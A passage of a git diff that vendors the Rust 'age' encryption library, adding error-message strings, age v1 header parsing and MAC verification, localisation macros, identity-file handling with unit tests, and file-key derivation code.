"err-header-mac-invalid" => "Invalid header MAC".to_string(), + "err-key-decryption" => "Failed to decrypt key".to_string(), + "err-no-matching-keys" => "No matching keys found".to_string(), + "err-unknown-format" => "Unknown age format".to_string(), + "err-missing-recipients" => "Missing recipients".to_string(), + "err-mixed-recipient-passphrase" => { + "Cannot combine passphrase encryption with other recipients".to_string() + } + "err-incompatible-recipients-oneway" => format!( + "Recipients with labels {} are incompatible with other recipients", + "{labels}" + ), + "err-incompatible-recipients-twoway" => format!( + "Recipients with labels {} are incompatible with recipients with labels {}", + "{left}", "{right}" + ), + "err-invalid-recipient-labels" => format!("Invalid recipient labels: {}", "{labels}"), + "err-missing-plugin" => format!("Plugin {} not found", "{plugin_name}"), + "rec-unknown-format" => { + "This file was created by a newer version of age that we do not support.".to_string() + } + "rec-excessive-work" => format!( + "This file would take {} seconds to decrypt on this device.", + "{duration}" + ), + "rec-missing-plugin" => { + "You may need to install additional software to decrypt this file.".to_string() + } + "err-identity-file-contains-plugin" => format!( + "Identity file {} contains a plugin identity ({})", + "{filename}", "{plugin_name}" + ), + "rec-identity-file-contains-plugin" => format!( + "The {} plugin does not support converting identities to recipients.", + "{plugin_name}" + ), + "encrypted-passphrase-prompt" => format!("Enter passphrase for {}", "{filename}"), + "err-plugin-identity" => format!("Plugin {} error: {}", "{plugin_name}", "{message}"), + "err-plugin-recipient" => format!( + "Plugin {} recipient {} error: {}", + "{plugin_name}", "{recipient}", "{message}" + ), + "err-excessive-work" => "This passphrase is very expensive to decrypt.".to_string(), + "encrypted-warn-no-match" => { + format!("Warning: could not decrypt identity in {}", "{filename}") + } + _ => message_id.to_string(), + } +} + +/// Get a localized message with named arguments (simplified version without i18n). +#[doc(hidden)] +pub fn get_message_with_named_args(message_id: &str, args: &[(&str, &str)]) -> String { + let mut msg = get_message(message_id); + for (name, value) in args { + msg = msg.replace(&format!("{{{}}}", name), value); + } + msg +} + +/// Get a localized message with arguments (simplified version without i18n). +#[doc(hidden)] +pub fn get_message_with_args(message_id: &str, args: &[T]) -> String { + // This is a simplified implementation that doesn't handle complex argument replacement + // For now, we'll just return the base message and append the args if needed + let mut msg = get_message(message_id); + if !args.is_empty() { + let arg_strings: Vec = args.iter().map(|a| a.to_string()).collect(); + // Simple replacement for common patterns + for (i, arg) in arg_strings.iter().enumerate() { + match i { + 0 => { + msg = msg + .replace("{err}", arg) + .replace("{filename}", arg) + .replace("{plugin_name}", arg) + .replace("{labels}", arg) + .replace("{left}", arg) + .replace("{duration}", arg) + } + 1 => msg = msg.replace("{plugin_name}", arg).replace("{right}", arg), + _ => {} + } + } + } + msg +} + +/// Helper function for backward compatibility +#[doc(hidden)] +pub(crate) fn error_string(message_id: &str) -> String { + get_message(message_id) +} + +/// Helper function for backward compatibility +#[doc(hidden)] +pub(crate) fn error_string_with_args( + message_id: &str, + args: &[(&str, T)], +) -> String { + let mut msg = get_message(message_id); + for (name, value) in args { + msg = msg.replace(&format!("{{{}}}", name), &value.to_string()); + } + msg +} + +/// Formats an error message. +#[doc(hidden)] +#[macro_export] +macro_rules! fmt_err { + ($message:literal) => {{ + $message + }}; + + ($message:literal, $($args:expr),* $(,)?) => {{ + format!($message, $($args),*) + }}; +} diff --git a/lib/rage/age/src/format.rs b/lib/rage/age/src/format.rs new file mode 100644 index 0000000..23d86ac --- /dev/null +++ b/lib/rage/age/src/format.rs @@ -0,0 +1,442 @@ +//! The age file format. + +use std::io::{self, BufRead, Read, Write}; + +use age_core::format::{grease_the_joint, Stanza}; + +use crate::{ + error::DecryptError, + primitives::{HmacKey, HmacWriter}, + scrypt, EncryptError, +}; + +#[cfg(feature = "async")] +use futures::io::{ + AsyncBufRead, AsyncBufReadExt, AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt, +}; + +const AGE_MAGIC: &[u8] = b"age-encryption.org/"; +const V1_MAGIC: &[u8] = b"v1"; +const MAC_TAG: &[u8] = b"---"; +const ENCODED_MAC_LENGTH: usize = 43; + +#[derive(Debug, PartialEq)] +pub(crate) struct HeaderV1 { + pub(crate) recipients: Vec, + pub(crate) mac: [u8; 32], + /// The serialized bytes of this header. Set if we parsed this header from a reader, + /// to handle the possibility that the header is not round-trip canonical, such as it + /// containing a legacy stanza with a body of length 0 mod 64. + /// + /// We do not write this back out in `Header::write`, because we never write headers + /// that we have parsed, and headers we generate for writing will never have this set. + encoded_bytes: Option>, +} + +impl HeaderV1 { + pub(crate) fn new(recipients: Vec, mac_key: HmacKey) -> Result { + let mut header = HeaderV1 { + recipients, + mac: [0; 32], + encoded_bytes: None, + }; + + if header.no_scrypt() { + // Keep the joint well oiled! + header.recipients.push(grease_the_joint()); + } + + if !header.is_valid() { + return Err(EncryptError::MixedRecipientAndPassphrase); + } + + let mut mac = HmacWriter::new(mac_key); + cookie_factory::gen(write::header_v1_minus_mac(&header), &mut mac) + .expect("can serialize Header into HmacWriter"); + header + .mac + .copy_from_slice(mac.finalize().into_bytes().as_slice()); + + Ok(header) + } + + pub(crate) fn verify_mac(&self, mac_key: HmacKey) -> Result<(), hmac::digest::MacError> { + let mut mac = HmacWriter::new(mac_key); + if let Some(bytes) = &self.encoded_bytes { + // The MAC covers all bytes up to the end of the --- prefix. + mac.write_all(&bytes[..bytes.len() - ENCODED_MAC_LENGTH - 2]) + .expect("can serialize Header into HmacWriter"); + } else { + cookie_factory::gen(write::header_v1_minus_mac(self), &mut mac) + .expect("can serialize Header into HmacWriter"); + } + mac.verify(&self.mac) + } + + fn any_scrypt(&self) -> bool { + self.recipients + .iter() + .any(|r| r.tag == scrypt::SCRYPT_RECIPIENT_TAG) + } + + /// Checks whether the header contains a single recipient of type `scrypt`. + /// + /// This can be used along with [`Self::no_scrypt`] to enforce the structural + /// requirements on the v1 header. + pub(crate) fn valid_scrypt(&self) -> bool { + self.any_scrypt() && self.recipients.len() == 1 + } + + /// Checks whether the header contains no `scrypt` recipients. + /// + /// This can be used along with [`Self::valid_scrypt`] to enforce the structural + /// requirements on the v1 header. + pub(crate) fn no_scrypt(&self) -> bool { + !self.any_scrypt() + } + + /// Enforces structural requirements on the v1 header. + pub(crate) fn is_valid(&self) -> bool { + self.valid_scrypt() || self.no_scrypt() + } +} + +impl Header { + pub(crate) fn read(mut input: R) -> Result { + let mut data = vec![]; + loop { + match read::header(&data) { + Ok((_, mut header)) => { + if let Header::V1(h) = &mut header { + h.encoded_bytes = Some(data); + } + break Ok(header); + } + Err(nom::Err::Incomplete(nom::Needed::Size(n))) => { + // Read the needed additional bytes. We need to be careful how the + // parser is constructed, because if we read more than we need, the + // remainder of the input will be truncated. + let m = data.len(); + let new_len = m + n.get(); + data.resize(new_len, 0); + input.read_exact(&mut data[m..new_len])?; + } + Err(_) => { + break Err(DecryptError::InvalidHeader); + } + } + } + } + + pub(crate) fn read_buffered(mut input: R) -> Result { + let mut data = vec![]; + loop { + match read::header(&data) { + Ok((_, mut header)) => { + if let Header::V1(h) = &mut header { + h.encoded_bytes = Some(data); + } + break Ok(header); + } + Err(nom::Err::Incomplete(nom::Needed::Size(_))) => { + // As we have a buffered reader, we can leverage the fact that the + // currently-defined header formats are newline-separated, to more + // efficiently read data for the parser to consume. + if input.read_until(b'\n', &mut data)? == 0 { + break Err(DecryptError::Io(io::Error::new( + io::ErrorKind::UnexpectedEof, + "Incomplete header", + ))); + } + } + Err(_) => { + break Err(DecryptError::InvalidHeader); + } + } + } + } + + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) async fn read_async( + mut input: R, + ) -> Result { + let mut data = vec![]; + loop { + match read::header(&data) { + Ok((_, mut header)) => { + if let Header::V1(h) = &mut header { + h.encoded_bytes = Some(data); + } + break Ok(header); + } + Err(nom::Err::Incomplete(nom::Needed::Size(n))) => { + // Read the needed additional bytes. We need to be careful how the + // parser is constructed, because if we read more than we need, the + // remainder of the input will be truncated. + let m = data.len(); + let new_len = m + n.get(); + data.resize(new_len, 0); + input.read_exact(&mut data[m..new_len]).await?; + } + Err(_) => { + break Err(DecryptError::InvalidHeader); + } + } + } + } + + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) async fn read_async_buffered( + mut input: R, + ) -> Result { + let mut data = vec![]; + loop { + match read::header(&data) { + Ok((_, mut header)) => { + if let Header::V1(h) = &mut header { + h.encoded_bytes = Some(data); + } + break Ok(header); + } + Err(nom::Err::Incomplete(nom::Needed::Size(_))) => { + // As we have a buffered reader, we can leverage the fact that the + // currently-defined header formats are newline-separated, to more + // efficiently read data for the parser to consume. + if input.read_until(b'\n', &mut data).await? == 0 { + break Err(DecryptError::Io(io::Error::new( + io::ErrorKind::UnexpectedEof, + "Incomplete header", + ))); + } + } + Err(_) => { + break Err(DecryptError::InvalidHeader); + } + } + } + } + + pub(crate) fn write(&self, mut output: W) -> io::Result<()> { + cookie_factory::gen(write::header(self), &mut output) + .map(|_| ()) + .map_err(|e| { + io::Error::new( + io::ErrorKind::Other, + format!("failed to write header: {}", e), + ) + }) + } + + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) async fn write_async(&self, mut output: W) -> io::Result<()> { + let mut buf = vec![]; + cookie_factory::gen(write::header(self), &mut buf) + .map(|_| ()) + .map_err(|e| { + io::Error::new( + io::ErrorKind::Other, + format!("failed to write header: {}", e), + ) + })?; + + output.write_all(&buf).await + } +} + +#[derive(Debug, PartialEq)] +pub(crate) enum Header { + V1(HeaderV1), + Unknown(String), +} + +mod read { + use age_core::format::read::{arbitrary_string, legacy_age_stanza}; + use nom::{ + branch::alt, + bytes::streaming::{tag, take}, + character::streaming::newline, + combinator::{map, map_opt}, + multi::many1, + sequence::{pair, preceded, terminated}, + IResult, + }; + + use super::*; + use crate::util::read::base64_arg; + + fn header_v1(input: &[u8]) -> IResult<&[u8], HeaderV1> { + preceded( + pair(tag(V1_MAGIC), newline), + map( + pair( + many1(legacy_age_stanza), + preceded( + pair(tag(MAC_TAG), tag(b" ")), + terminated( + map_opt(take(ENCODED_MAC_LENGTH), |tag| { + base64_arg::<_, 32, 33>(&tag) + }), + newline, + ), + ), + ), + |(recipients, mac)| HeaderV1 { + recipients: recipients.into_iter().map(Stanza::from).collect(), + mac, + encoded_bytes: None, + }, + ), + )(input) + } + + /// From the age specification: + /// ```text + /// The first line of the header is age-encryption.org/ followed by an arbitrary + /// version string. ... We describe version v1, other versions can change anything + /// after the first line. + /// ``` + pub(super) fn header(input: &[u8]) -> IResult<&[u8], Header> { + preceded( + tag(AGE_MAGIC), + alt(( + map(header_v1, Header::V1), + map(terminated(arbitrary_string, newline), |s| { + Header::Unknown(s.to_string()) + }), + )), + )(input) + } +} + +mod write { + use age_core::format::write::age_stanza; + use cookie_factory::{ + combinator::{slice, string}, + multi::all, + sequence::tuple, + SerializeFn, WriteContext, + }; + use std::io::Write; + + use super::*; + use crate::util::write::encoded_data; + + fn recipient_stanza<'a, W: 'a + Write>(r: &'a Stanza) -> impl SerializeFn + 'a { + move |w: WriteContext| { + let args: Vec<_> = r.args.iter().map(|s| s.as_str()).collect(); + let writer = age_stanza(&r.tag, &args, &r.body); + writer(w) + } + } + + pub(super) fn header_v1_minus_mac<'a, W: 'a + Write>( + h: &'a HeaderV1, + ) -> impl SerializeFn + 'a { + tuple(( + slice(AGE_MAGIC), + slice(V1_MAGIC), + string("\n"), + all(h.recipients.iter().map(move |r| recipient_stanza(r))), + slice(MAC_TAG), + )) + } + + fn header_v1<'a, W: 'a + Write>(h: &'a HeaderV1) -> impl SerializeFn + 'a { + tuple(( + header_v1_minus_mac(h), + string(" "), + encoded_data(&h.mac), + string("\n"), + )) + } + + pub(super) fn header<'a, W: 'a + Write>(h: &'a Header) -> impl SerializeFn + 'a { + move |w: WriteContext| match h { + Header::V1(v1) => header_v1(v1)(w), + Header::Unknown(version) => tuple((slice(AGE_MAGIC), slice(version), string("\n")))(w), + } + } +} + +#[cfg(test)] +mod tests { + use super::Header; + + #[test] + fn parse_header() { + let test_header = "age-encryption.org/v1 +-> X25519 CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20 +C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig +-> X25519 ytazqsbmUnPwVWMVx0c1X9iUtGdY4yAB08UQTY2hNCI +N3pgrXkbIn/RrVt0T0G3sQr1wGWuclqKxTSWHSqGdkc +-> scrypt bBjlhJVYZeE4aqUdmtRHfw 15 +ZV/AhotwSGqaPCU43cepl4WYUouAa17a3xpu4G2yi5k +-> ssh-rsa mhir0Q +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA +mgmZq7tIm5ZyY89OmqZztOgG2tEB1TZvX3Q8oXESBuFjBBQkKaMLkaqh5GjcGRrZ +e5MmTXRdEyNPRl8qpystNZR1q2rEDUHSEJInVLW8OtvQRG8P303VpjnOUU53FSBw +yXxDtzxKxeloceFubn/HWGcR0mHU+1e9l39myQEUZjIoqFIELXvh9o6RUgYzaAI+ +m/uPLMQdlIkiOOdbsrE6tFesRLZNHAYspeRKI9MJ++Xg9i7rutU34ZM+1BL6KgZf +J9FSm+GFHiVWpr1MfYCo/w +-> ssh-ed25519 BjH7FA RO+wV4kbbl4NtSmp56lQcfRdRp3dEFpdQmWkaoiw6lY +51eEu5Oo2JYAG7OU4oamH03FDRP18/GnzeCrY7Z+sa8 +-> some-empty-body-recipient BjH7FA 37 mhir0Q + +-> some-full-body-recipient BjH7FA 37 mhir0Q +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA + +-> some-other-recipient mhir0Q BjH7FA 37 +m/uPLMQdlIkiOOdbsrE6tFesRLZNHAYspeRKI9MJ++Xg9i7rutU34ZM+1BL6KgZf +J9FSm+GFHiVWpr1MfYCo/w +--- fgMiVLJHMlg9fW7CVG/hPS5EAU4Zeg19LyCP7SoH5nA +"; + let h = Header::read(test_header.as_bytes()).unwrap(); + let mut data = vec![]; + h.write(&mut data).unwrap(); + assert_eq!(std::str::from_utf8(&data), Ok(test_header)); + } + + #[test] + fn parse_legacy_header() { + let test_header = "age-encryption.org/v1 +-> X25519 CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20 +C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig +-> some-empty-body-recipient BjH7FA 37 mhir0Q + +-> some-full-body-recipient BjH7FA 37 mhir0Q +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA + +-> some-other-recipient mhir0Q BjH7FA 37 +m/uPLMQdlIkiOOdbsrE6tFesRLZNHAYspeRKI9MJ++Xg9i7rutU34ZM+1BL6KgZf +J9FSm+GFHiVWpr1MfYCo/w +--- fgMiVLJHMlg9fW7CVG/hPS5EAU4Zeg19LyCP7SoH5nA +"; + let test_legacy_header = "age-encryption.org/v1 +-> X25519 CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20 +C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig +-> some-empty-body-recipient BjH7FA 37 mhir0Q +-> some-full-body-recipient BjH7FA 37 mhir0Q +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA +-> some-other-recipient mhir0Q BjH7FA 37 +m/uPLMQdlIkiOOdbsrE6tFesRLZNHAYspeRKI9MJ++Xg9i7rutU34ZM+1BL6KgZf +J9FSm+GFHiVWpr1MfYCo/w +--- fgMiVLJHMlg9fW7CVG/hPS5EAU4Zeg19LyCP7SoH5nA +"; + let mut h = Header::read(test_header.as_bytes()).unwrap(); + let mut h_legacy = Header::read(test_legacy_header.as_bytes()).unwrap(); + // Remove the `encoded_bytes` field from both headers, which is intentionally + // different (to ensure their MACs would validate, if these were real headers). + match (&mut h, &mut h_legacy) { + (Header::V1(h), Header::V1(h_legacy)) => { + h.encoded_bytes = None; + h_legacy.encoded_bytes = None; + } + _ => unreachable!(), + } + // The remainder of the headers should be identical. + assert_eq!(h, h_legacy); + } +} diff --git a/lib/rage/age/src/i18n.rs b/lib/rage/age/src/i18n.rs new file mode 100644 index 0000000..2752121 --- /dev/null +++ b/lib/rage/age/src/i18n.rs @@ -0,0 +1,106 @@ +#[cfg(feature = "i18n")] +use i18n_embed::{ + fluent::{fluent_language_loader, FluentLanguageLoader}, + unic_langid::LanguageIdentifier, + I18nEmbedError, LanguageLoader, Localizer, +}; +#[cfg(feature = "i18n")] +use lazy_static::lazy_static; +#[cfg(feature = "i18n")] +use rust_embed::RustEmbed; + +#[derive(RustEmbed)] +#[folder = "i18n"] +struct Localizations; + +lazy_static! { + pub(crate) static ref LANGUAGE_LOADER: FluentLanguageLoader = { + let language_loader = fluent_language_loader!(); + // Ensure that the fallback language is always loaded, even if the library user + // doesn't call `localizer().select(languages)`. + let fallback: LanguageIdentifier = "en-US".parse().unwrap(); + language_loader.load_languages(&Localizations, &[fallback]).unwrap(); + language_loader + }; +} + +/// Loads a localized age string. +#[doc(hidden)] +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +/// age-localized version of the write! macro. +#[doc(hidden)] +#[macro_export] +macro_rules! wfl { + ($f:ident, $message_id:literal) => { + write!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + write!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +/// age-localized version of the writeln! macro. +#[doc(hidden)] +#[macro_export] +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + writeln!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +/// Returns the [`Localizer`] to be used for localizing this library. +/// +/// # Examples +/// +/// ``` +/// // Fetch the set of languages that the user's desktop environment requests. +/// let requested_languages = i18n_embed::DesktopLanguageRequester::requested_languages(); +/// +/// // Localize the age crate based on the requested languages. +/// // +/// // If none of the requested languages are available, or if this function +/// // is not called, age defaults to en-US. +/// age::localizer().select(&requested_languages).unwrap(); +/// ``` +pub fn localizer() -> Box { + Box::from(AgeLocalizer) +} + +struct AgeLocalizer; + +impl Localizer for AgeLocalizer { + fn language_loader(&self) -> &'_ dyn LanguageLoader { + &*LANGUAGE_LOADER + } + + fn i18n_assets(&self) -> &'_ dyn i18n_embed::I18nAssets { + &Localizations + } + + fn select( + &self, + requested_languages: &[LanguageIdentifier], + ) -> Result, I18nEmbedError> { + let supported_languages = + i18n_embed::select(&*LANGUAGE_LOADER, &Localizations, requested_languages)?; + // Unfortunately the common Windows terminals don't support Unicode Directionality + // Isolation Marks, so we disable them for now. + LANGUAGE_LOADER.set_use_isolating(false); + Ok(supported_languages) + } +} diff --git a/lib/rage/age/src/identity.rs b/lib/rage/age/src/identity.rs new file mode 100644 index 0000000..6bd19d6 --- /dev/null +++ b/lib/rage/age/src/identity.rs @@ -0,0 +1,368 @@ +use std::fs::File; +use std::io; + +use crate::{x25519, Callbacks, DecryptError, EncryptError, IdentityFileConvertError, NoCallbacks}; + +#[cfg(feature = "cli-common")] +use crate::cli_common::file_io::InputReader; + +#[cfg(feature = "plugin")] +use crate::plugin; + +/// The supported kinds of identities within an [`IdentityFile`]. +#[derive(Clone)] +enum IdentityFileEntry { + /// The standard age identity type. + Native(x25519::Identity), + /// A plugin-compatible identity. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + Plugin(plugin::Identity), +} + +impl IdentityFileEntry { + #[allow(unused_variables)] + pub(crate) fn into_identity( + self, + callbacks: impl Callbacks, + ) -> Result, DecryptError> { + match self { + IdentityFileEntry::Native(i) => Ok(Box::new(i)), + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(i) => Ok(Box::new( + crate::plugin::Plugin::new(i.plugin()) + .map_err(|binary_name| DecryptError::MissingPlugin { binary_name }) + .map(|plugin| { + crate::plugin::IdentityPluginV1::from_parts(plugin, vec![i], callbacks) + })?, + )), + } + } +} + +/// A list of identities that has been parsed from some input file. +pub struct IdentityFile { + filename: Option, + identities: Vec, + pub(crate) callbacks: C, +} + +impl IdentityFile { + /// Parses one or more identities from a file containing valid UTF-8. + pub fn from_file(filename: String) -> io::Result { + File::open(&filename) + .map(io::BufReader::new) + .and_then(|data| IdentityFile::parse_identities(Some(filename), data)) + } + + /// Parses one or more identities from a buffered input containing valid UTF-8. + pub fn from_buffer(data: R) -> io::Result { + Self::parse_identities(None, data) + } + + /// Parses one or more identities from an [`InputReader`]; + #[cfg(feature = "cli-common")] + pub fn from_input_reader(reader: InputReader) -> io::Result { + let filename = reader.filename().map(String::from); + Self::parse_identities(filename, io::BufReader::new(reader)) + } + + fn parse_identities(filename: Option, data: R) -> io::Result { + let mut identities = vec![]; + + for (line_number, line) in data.lines().enumerate() { + let line = line?; + if line.is_empty() || line.starts_with('#') { + continue; + } + + if let Ok(identity) = line.parse::() { + identities.push(IdentityFileEntry::Native(identity)); + } else if let Some(identity) = { + #[cfg(feature = "plugin")] + { + line.parse::().ok() + } + + #[cfg(not(feature = "plugin"))] + None + } { + #[cfg(feature = "plugin")] + { + identities.push(IdentityFileEntry::Plugin(identity)); + } + + // Add a binding to provide a type when plugins are disabled. + #[cfg(not(feature = "plugin"))] + let _: () = identity; + } else { + // Return a line number in place of the line, so we don't leak the file + // contents in error messages. + return Err(io::Error::new( + io::ErrorKind::InvalidData, + if let Some(filename) = filename { + format!( + "identity file {} contains non-identity data on line {}", + filename, + line_number + 1 + ) + } else { + format!( + "identity file contains non-identity data on line {}", + line_number + 1 + ) + }, + )); + } + } + + Ok(IdentityFile { + filename, + identities, + callbacks: NoCallbacks, + }) + } +} + +impl IdentityFile { + /// Sets the provided callbacks on this identity file, so that if this is an encrypted + /// identity, it can potentially be decrypted. + pub fn with_callbacks(self, callbacks: D) -> IdentityFile { + IdentityFile { + filename: self.filename, + identities: self.identities, + callbacks, + } + } + + /// Writes a recipients file containing the recipients corresponding to the identities + /// in this file. + /// + /// Returns an error if this file is empty, or if it contains plugin identities (which + /// can only be converted by the plugin binary itself). + pub fn write_recipients_file( + &self, + mut output: W, + ) -> Result<(), IdentityFileConvertError> { + if self.identities.is_empty() { + return Err(IdentityFileConvertError::NoIdentities { + filename: self.filename.clone(), + }); + } + + for identity in &self.identities { + match identity { + IdentityFileEntry::Native(sk) => writeln!(output, "{}", sk.to_public()) + .map_err(IdentityFileConvertError::FailedToWriteOutput)?, + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(id) => { + return Err(IdentityFileConvertError::IdentityFileContainsPlugin { + filename: self.filename.clone(), + plugin_name: id.plugin().to_string(), + }); + } + } + } + + Ok(()) + } + + /// Returns recipients for the identities in this file. + /// + /// Plugin identities will be merged into one [`Recipient`] per unique plugin. + /// + /// [`Recipient`]: crate::Recipient + pub fn to_recipients(&self) -> Result>, EncryptError> { + let mut recipients = RecipientsAccumulator::new(); + recipients.with_identities_ref(self); + recipients.build( + #[cfg(feature = "plugin")] + self.callbacks.clone(), + ) + } + + /// Returns the identities in this file. + pub(crate) fn to_identities( + &self, + ) -> impl Iterator, DecryptError>> + '_ { + self.identities + .iter() + .map(|entry| entry.clone().into_identity(self.callbacks.clone())) + } + + /// Returns the identities in this file. + pub fn into_identities(self) -> Result>, DecryptError> { + self.identities + .into_iter() + .map(|entry| entry.into_identity(self.callbacks.clone())) + .collect() + } +} + +pub(crate) struct RecipientsAccumulator { + recipients: Vec>, + #[cfg(feature = "plugin")] + plugin_recipients: Vec, + #[cfg(feature = "plugin")] + plugin_identities: Vec, +} + +impl RecipientsAccumulator { + pub(crate) fn new() -> Self { + Self { + recipients: vec![], + #[cfg(feature = "plugin")] + plugin_recipients: vec![], + #[cfg(feature = "plugin")] + plugin_identities: vec![], + } + } + + #[cfg(feature = "cli-common")] + pub(crate) fn push(&mut self, recipient: Box) { + self.recipients.push(recipient); + } + + #[cfg(feature = "plugin")] + pub(crate) fn push_plugin(&mut self, recipient: plugin::Recipient) { + self.plugin_recipients.push(recipient); + } + + #[cfg(feature = "armor")] + pub(crate) fn extend( + &mut self, + iter: impl IntoIterator>, + ) { + self.recipients.extend(iter); + } + + #[cfg(feature = "cli-common")] + pub(crate) fn with_identities(&mut self, identity_file: IdentityFile) { + for entry in identity_file.identities { + match entry { + IdentityFileEntry::Native(i) => self.recipients.push(Box::new(i.to_public())), + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(i) => self.plugin_identities.push(i), + } + } + } + + pub(crate) fn with_identities_ref(&mut self, identity_file: &IdentityFile) { + for entry in &identity_file.identities { + match entry { + IdentityFileEntry::Native(i) => self.recipients.push(Box::new(i.to_public())), + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(i) => self.plugin_identities.push(i.clone()), + } + } + } + + #[cfg_attr(not(feature = "plugin"), allow(unused_mut))] + pub(crate) fn build( + mut self, + #[cfg(feature = "plugin")] callbacks: impl Callbacks, + ) -> Result>, EncryptError> { + #[cfg(feature = "plugin")] + { + // Collect the names of the required plugins. + let mut plugin_names = self + .plugin_recipients + .iter() + .map(|r| r.plugin()) + .chain(self.plugin_identities.iter().map(|i| i.plugin())) + .collect::>(); + plugin_names.sort_unstable(); + plugin_names.dedup(); + + // Find the required plugins. + for plugin_name in plugin_names { + self.recipients + .push(Box::new(plugin::RecipientPluginV1::new( + plugin_name, + &self.plugin_recipients, + &self.plugin_identities, + callbacks.clone(), + )?)) + } + } + + Ok(self.recipients) + } +} + +#[cfg(test)] +pub(crate) mod tests { + use age_core::secrecy::ExposeSecret; + use std::io::BufReader; + + use super::{IdentityFile, IdentityFileEntry}; + + pub(crate) const TEST_SK: &str = + "AGE-SECRET-KEY-1GQ9778VQXMMJVE8SK7J6VT8UJ4HDQAJUVSFCWCM02D8GEWQ72PVQ2Y5J33"; + + fn valid_secret_key_encoding(keydata: &str, num_keys: usize) { + let buf = BufReader::new(keydata.as_bytes()); + let f = IdentityFile::from_buffer(buf).unwrap(); + assert_eq!(f.identities.len(), num_keys); + match &f.identities[0] { + IdentityFileEntry::Native(identity) => { + assert_eq!(identity.to_string().expose_secret(), TEST_SK) + } + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(_) => panic!(), + } + } + + #[test] + fn secret_key_encoding() { + valid_secret_key_encoding(TEST_SK, 1); + } + + #[test] + fn secret_key_lf() { + valid_secret_key_encoding(&format!("{}\n", TEST_SK), 1); + } + + #[test] + fn two_secret_keys_lf() { + valid_secret_key_encoding(&format!("{}\n{}", TEST_SK, TEST_SK), 2); + } + + #[test] + fn secret_key_with_comment_lf() { + valid_secret_key_encoding(&format!("# Foo bar baz\n{}", TEST_SK), 1); + valid_secret_key_encoding(&format!("{}\n# Foo bar baz", TEST_SK), 1); + } + + #[test] + fn secret_key_with_empty_line_lf() { + valid_secret_key_encoding(&format!("\n\n{}", TEST_SK), 1); + } + + #[test] + fn secret_key_crlf() { + valid_secret_key_encoding(&format!("{}\r\n", TEST_SK), 1); + } + + #[test] + fn two_secret_keys_crlf() { + valid_secret_key_encoding(&format!("{}\r\n{}", TEST_SK, TEST_SK), 2); + } + + #[test] + fn secret_key_with_comment_crlf() { + valid_secret_key_encoding(&format!("# Foo bar baz\r\n{}", TEST_SK), 1); + valid_secret_key_encoding(&format!("{}\r\n# Foo bar baz", TEST_SK), 1); + } + + #[test] + fn secret_key_with_empty_line_crlf() { + valid_secret_key_encoding(&format!("\r\n\r\n{}", TEST_SK), 1); + } + + #[test] + fn incomplete_secret_key_encoding() { + let buf = BufReader::new(&TEST_SK.as_bytes()[..4]); + assert!(IdentityFile::from_buffer(buf).is_err()); + } +} diff --git a/lib/rage/age/src/keys.rs b/lib/rage/age/src/keys.rs new file mode 100644 index 0000000..06b6bd5 --- /dev/null +++ b/lib/rage/age/src/keys.rs @@ -0,0 +1,44 @@ +//! Key structs and serialization. + +use age_core::{ + format::FileKey, + primitives::hkdf, + secrecy::{ExposeSecret, SecretBox}, +}; +use rand::{rngs::OsRng, RngCore}; + +use crate::{ + error::DecryptError, + format::HeaderV1, + primitives::{stream::PayloadKey, HmacKey}, + protocol::Nonce, +}; + +const HEADER_KEY_LABEL: &[u8] = b"header"; +const PAYLOAD_KEY_LABEL: &[u8] = b"payload"; + +pub(crate) fn new_file_key() -> FileKey { + FileKey::init_with_mut(|file_key| OsRng.fill_bytes(file_key)) +} + +pub(crate) fn mac_key(file_key: &FileKey) -> HmacKey { + HmacKey(SecretBox::new(Box::new(hkdf( + &[], + HEADER_KEY_LABEL, + file_key.expose_secret(), + )))) +} + +pub(crate) fn v1_payload_key( + file_key: &FileKey, + header: &HeaderV1, + nonce: &Nonce, +) -> Result { + // Verify the MAC + header.verify_mac(mac_key(file_key))?; + + // Return the payload key + Ok(PayloadKey( + hkdf(nonce.as_ref(), PAYLOAD_KEY_LABEL, file_key.expose_secret()).into(), + )) +} diff --git a/lib/rage/age/src/lib.rs b/lib/rage/age/src/lib.rs new file mode 100644 index 0000000..2f199e7 --- /dev/null +++ b/lib/rage/age/src/lib.rs @@ -0,0 +1,455 @@ +//! *Library for encrypting and decrypting age files* +//! +//! This crate implements file encryption according to the [age-encryption.org/v1] +//! specification. It generates and consumes encrypted files that are compatible with the +//! [rage] CLI tool, as well as the reference 